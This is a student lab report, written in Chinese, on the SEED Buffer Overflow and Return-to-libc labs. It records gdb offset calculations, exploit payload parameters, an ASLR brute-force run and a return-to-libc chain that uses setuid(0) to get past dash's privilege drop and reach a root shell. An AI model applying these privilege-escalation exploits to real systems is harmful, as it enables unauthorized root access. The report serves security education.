缓冲溢出实验报告

57117230 刘玉洁

Part1: Buffer Overflow Vulnerability Lab

Task 1: Running Shellcode

首先关闭地址随机化并配置/bin/sh ：

```
[09/04/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/04/20]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
```

对于不可执行堆栈，运行失败：

```
[09/04/20]seed@VM:~$ gcc -o call_shellcode call_shellcode.c
[09/04/20]seed@VM:~$ ./call_shellcode
Segmentation fault
```

设置允许从堆栈执行代码，运行成功，观察到 Shell 已经被调用：

```
[09/04/20]seed@VM:~$ gcc -z execstack -o call_shellcode call_shellcode.c
[09/04/20]seed@VM:~$ ./call_shellcode
$
```

Task 2: Exploiting the Vulnerability

首先关闭地址随机化：

```
[09/04/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

使用默认 BUF SIZE，关闭 StackGuard 和不可执行的堆栈保护编译程序，并赋予其 root 用户权限，并将其变为 SET-UID 程序：

```
[09/04/20]seed@VM:~$ gcc -g -o stack -z execstack -fno-stack-protector stack.c
[09/04/20]seed@VM:~$ sudo chown root stack
[09/04/20]seed@VM:~$ sudo chmod 4755 stack
[09/04/20]seed@VM:~$ gdb stack
```

使用 gdb 工具进行调试：

```
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file stack.c, line 12.
gdb-peda$ r
Starting program: /home/seed/stack
```

得到偏移为 32+4=36：

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffeb58
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffeb38
gdb-peda$ p/d 0xbfffeb58 - 0xbfffeb38
$3 = 32
```

在利用漏洞程序中设置相关参数：

```
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
########################################################################
ret = 0xbfffeb58+8+36 # replace 0xAABBCCDD with the correct value
offset = 36# replace 0 with the correct value
# Fill the return address field with the address of the shellcode
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
```

执行利用程序，最终成功获取了 root 权限：

```
[09/04/20]seed@VM:~$ python3 exploit.py
[09/04/20]seed@VM:~$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

Task 3: Defeating dash's Countermeasure

首先关闭地址随机化，并更改/bin/sh 符号链接：

```
[09/04/20]seed@VM:~$ sudo ln -sf /bin/dash /bin/sh
[09/04/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

在注释 setuid(0)的情况下，编译程序，赋予其 root 用户权限，将其变为 SET-UID 程序，执行程序发现被降权：

```
[09/04/20]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[09/04/20]seed@VM:~$ sudo chown root dash_shell_test
[09/04/20]seed@VM:~$ sudo chmod 4755 dash_shell_test
[09/04/20]seed@VM:~$ ./dash_shell_test
$
```

取消注释 setuid(0)的情况下，编译程序，赋予其 root 用户权限，将其变为 SET-UID 程序，执行程序发现未被降权，仍然拥有 root 权限：

```
[09/04/20]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test2
[09/04/20]seed@VM:~$ sudo chown root dash_shell_test2
[09/04/20]seed@VM:~$ sudo chmod 4755 dash_shell_test2
[09/04/20]seed@VM:~$ ./dash_shell_test2
#
```

由此可以发现，执行 execve() 之前调用 setuid(0)可以打破 dash 的降权限制。

紧接着，我们在 task2 的基础上添加代码，使得在调用 execve()之前，在 shell 代码的开头调用 setuid(0)：

```
[09/04/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/04/20]seed@VM:~$ python3 exploit.py
[09/04/20]seed@VM:~$ ./stack
#
#
```

结果显示，通过调用 setuid(0)，仍然可以获取 root 权限，当/bin/sh 链接到/bin/dash 时，我们可以尝试对易受攻击的程序进行攻击。

Task 4: Defeating Address Randomization

首先，我们打开 Ubuntu 的地址随机化：

```
[09/04/20]seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
```

重复 task2 中的步骤，得到新的 ebp 地址及 buffer 地址，计算出偏移为 36：

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfb3c2f8
```

```
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfb3c2d8
gdb-peda$ p/d 0xbfb3c2f8 - 0xbfb3c2d8
$3 = 32
```

修改 exploit.py 中的参数：

```
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode
######################################################################
ret = 0xbfb3c2f8+8+36 # replace 0xAABBCCDD with the correct value
offset = 36# replace 0 with the correct value
# Fill the return address field with the address of the shellcode
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
```

运行程序，最终无法获取 root 权限，程序报错：

```
[09/04/20]seed@VM:~$ python3 exploit.py
[09/04/20]seed@VM:~$ ./stack
Segmentation fault
```

分析：由于启用了地址随机化，buffer 的地址每次都是不确定的，无法准确返回 shellcode 所在区域。

下面运行脚本文件 rand.sh：

```
[09/04/20]seed@VM:~$ sh rand.sh
```

```
0 minutes and 0 seconds elapsed.
The program has been running 1244 times so far.
#
```

最终实现了栈攻击，可见地址随机化技术可以被攻破。

Task 5: Turn on the StackGuard Protection

首先关闭地址随机化：

```
[09/04/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

打开栈保护机制，重复 task2：

```
[09/04/20]seed@VM:~$  gcc  -o stack -z execstack  stack.c
[09/04/20]seed@VM:~$ sudo chown root stack
[09/04/20]seed@VM:~$  sudo chmod 4755 stack
[09/04/20]seed@VM:~$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
```

由于栈保护机制，攻击失败。

回到 task1：

```
[09/04/20]seed@VM:~$ gcc -z execstack -o call_shellcode call_shellcode.c
[09/04/20]seed@VM:~$ ./call_shellcode
$
```

我们发现 task1 中虽然默认开启了栈保护机制，但仍然可以调用 shell，这说明栈保护机制也可以被攻破。

Task 6: Turn on the Non-executable Stack Protection

关闭栈可执行，重复 task2：

```
[09/04/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/04/20]seed@VM:~$ gcc -o stack -fno-stack-protector -z noexecstack stack.c
[09/04/20]seed@VM:~$ sudo chown root stack
[09/04/20]seed@VM:~$ sudo chmod 4755 stack
[09/04/20]seed@VM:~$ ./stack
Segmentation fault
[09/04/20]seed@VM:~$
```

可以看出由于栈不可执行，攻击同样失败。

此外，不可执行堆栈只会使在堆栈上运行 shellcode 成为不可能，但不能防止缓冲区溢出攻击，还有其他方法可以运行恶意代码，例如 return-to-libc 攻击。

Part2: Return-to-libc Attack Lab

Task 1: Finding out the addresses of libc functions

首先关闭地址随机化，并配置/bin/sh ：

```
[09/04/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/04/20]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
```

使用默认 BUF SIZE，关闭 StackGuard，以不可执行堆栈编译程序，并赋予其 root 用户权限，并将其变为 SET-UID 程序：

```
[09/04/20]seed@VM:~$ gcc  -fno-stack-protector -z noexecstack -o retlib retlib.c

[09/04/20]seed@VM:~$ sudo chown root retlib
[09/04/20]seed@VM:~$ sudo chmod 4755 retlib
[09/04/20]seed@VM:~$
```

利用 gdb 工具获取 system()和 exit()的地址：

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
```

Task 2: Putting the shell string in the memory

定义一个新的 shell 变量：

```
[09/04/20]seed@VM:~$ export MYSHELL=/bin/sh
[09/04/20]seed@VM:~$ env | grep MYSHELL
MYSHELL=/bin/sh
```

获得变量 MYSHELL 的地址：

```
[09/05/20]seed@VM:~$ gcc getadd.c -o  getadd
[09/05/20]seed@VM:~$ ./getadd
bffffe1c
[09/05/20]seed@VM:~$ ./getadd
bffffe1c
```

可以看到，由于关闭了地址随机化，每次获得的地址都是相同的。
值得注意的是，由于 shell 变量地址与文件名长度有关，因此获取变量地址的程序名应和 retlib 长度一样。

Task 3: Exploiting the buffer-overflflow vulnerability

利用 gdb 工具调试 retlib 得到 system()偏移为 20+4=24，即 Y=24：

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffed18
gdb-peda$ p &buffer
$2 = (char (*)[12]) 0xbfffed04
gdb-peda$ p/d 0xbfffed18 - 0xbfffed04
$3 = 20
```

计算得到 exit()偏移为 Z=20+8=28，shell 变量偏移为 X=20+12=32，并将地址填入空缺代码：

```
*(long *) &buf[32] = 0xbffffe1c ; // "/bin/sh"
*(long *) &buf[24] = 0xb7e42da0 ; // system()
*(long *) &buf[28] = 0xb7e369d0 ; // exit()
```

编译并运行 exploit2，执行 retlib：

```
[09/05/20]seed@VM:~$ gcc exploit2.c -o  exploit2
[09/05/20]seed@VM:~$ ./exploit2
[09/05/20]seed@VM:~$ ./retlib
#
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

发现攻击成功，获取了 root 权限。

Attack variation 1:

删去 exit()函数地址，重新写入 badfile，执行程序发现仍然可以获得 root 权限：

```
[09/05/20]seed@VM:~$ gcc getadd.c -o  getadd
[09/05/20]seed@VM:~$ gcc exploit2.c -o  exploit2
[09/05/20]seed@VM:~$ ./exploit2
[09/05/20]seed@VM:~$ ./retlib
#
#
```

分析：该攻击的主要原理是用 system 的地址覆盖返回地址，在合适的位置填入“/bin/sh"字符串所在内存地址，这个合适的位置是 system 的参数地址，因此 exit 的地址是否写入 badfile 不会影响攻击结果。

Attack variation 2:

修改 retlib 的文件名为 newretlib，编译并执行：

```
[09/05/20]seed@VM:~$ gcc  -fno-stack-protector -z noexecstack -o newretlib newre
tlib.c
[09/05/20]seed@VM:~$ sudo chown root newretlib
[09/05/20]seed@VM:~$ sudo chmod 4755 newretlib
[09/05/20]seed@VM:~$ ./newretlib
zsh:1: command not found: h
Segmentation fault
```

结果显示攻击失败，出现段错误。

分析：文件名的长度更改会影响 SHELL 变量的地址，而 badfile 文件中的参数未改变，因此无法获得 root 权限。

Task 4: Turning on address randomization

开启地址随机化，重新执行 retlib：

```
[09/05/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2
[09/05/20]seed@VM:~$ ./retlib
Segmentation fault
[09/05/20]seed@VM:~$
```

结果显示攻击失败，出现段错误。

猜想：地址随机化不会改变偏移量 XYZ 的值，但变量地址、system 函数地址和 exit 函数地址都会发生改变。

以下是验证过程：

在 gdb 中关闭禁用随机化的设置：

```
gdb-peda$ set disable-randomization off
```

利用 gdb 工具调试 retlib 得到 system()偏移仍为 24，exit()偏移 28，shell 变量偏移为 32，没有发生变化：

```
gdb-peda$ p/d 0xbfaf0158 - 0xbfaf0144
$3 = 20
```

system 函数地址和 exit 函数地址发生了变化：

```
gdb-peda$ p system
$3 = {<text variable, no debug info>} 0xb75c9da0 <__libc_system>
gdb-peda$ p exit
$4 = {<text variable, no debug info>} 0xb75bd9d0 <__GI_exit>
```

SHELL 变量的地址也发生了变化：

```
[09/05/20]seed@VM:~$ gcc getadd.c -o  getadd
[09/05/20]seed@VM:~$ ./getadd
bfbf3e1c
[09/05/20]seed@VM:~$ gcc getadd.c -o  getadd
[09/05/20]seed@VM:~$ ./getadd
bff02e1c
```

综上，地址随机化不会改变偏移量 XYZ 的值，但变量地址、system 函数地址和 exit 函数地址都会发生改变，因此攻击失败。

Task 5: Defeat Shell's countermeasure

尝试链接以下四个函数:

system("usr/bin/id");

setuid(0);

system("/bin/sh");

exit();

首先重新编译 retlib 程序，并赋予其 root 用户权限，并将其变为 SET-UID 程序：

```
[09/05/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/05/20]seed@VM:~$ sudo ln -sf /bin/dash /bin/sh
[09/05/20]seed@VM:~$ gcc  -fno-stack-protector -z noexecstack -o retlib retlib.c

[09/05/20]seed@VM:~$ sudo chown root retlib
[09/05/20]seed@VM:~$ sudo chmod 4755 retlib
[09/05/20]seed@VM:~$ gdb retlib
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
```

查看 system、setuid、exit 函数地址：

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p setuid
$2 = {<text variable, no debug info>} 0xb7eb9170 <__setuid>
gdb-peda$ p exit
$3 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
```

寻找 pop 函数：

```
[09/05/20]seed@VM:~$ objdump -d retlib
 80485e3:       75 e3                   jne    80485c8 <__libc_csu_init+0x38>
 80485e5:       83 c4 0c                add    $0xc,%esp
 80485e8:       5b                      pop    %ebx
 80485e9:       5e                      pop    %esi
 80485ea:       5f                      pop    %edi
 80485eb:       5d                      pop    %ebp
 80485ec:       c3                      ret
 80485ed:       8d 76 00                lea    0x0(%esi),%esi
```

设置环境变量并得到变量地址：

```
[09/05/20]seed@VM:~$ export MYSH="/bin/sh"
[09/05/20]seed@VM:~$ export MYID="/usr/bin/id"
[09/05/20]seed@VM:~$ gcc -o getadd getadd.c
[09/05/20]seed@VM:~$ ./getadd
bffffde4
bffff9a1
```

根据获得的地址构造 exploit2.c 程序参数：

```
*(long *) &buf[24] = 0xb7e42da0 ;   //  system()
*(long *) &buf[28] = 0x80485eb ;   //  pop edp
*(long *) &buf[32] = 0xbffff9a1 ;   //  "/usr/bin/id"
*(long *) &buf[36] = 0xb7eb9170 ;   //  setuid()
*(long *) &buf[40] = 0x80485eb ;   //  pop edp
*(long *) &buf[44] = 0x00000000 ;   //  0
*(long *) &buf[48] = 0xb7e42da0 ;   //  system()
*(long *) &buf[52] = 0x80485eb ;   //  pop edp
*(long *) &buf[56] = 0xbffffde4 ;   //  "/bin/sh"
*(long *) &buf[60] = 0xb7e369d0 ;   //  exit()
```

编译执行 exploit2.c 文件，生成新的 badfile 文件，运行漏洞程序 retlib，实行攻击：

```
[09/05/20]seed@VM:~$ gcc -o exploit2 exploit2.c
[09/05/20]seed@VM:~$ ./exploit2
[09/05/20]seed@VM:~$ ./retlib
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
#
```

可以看到，在将/bin/sh 链接到/bin/dash 的情况下，先调用 setuid(0)再调用 system()，仍可以攻击成功。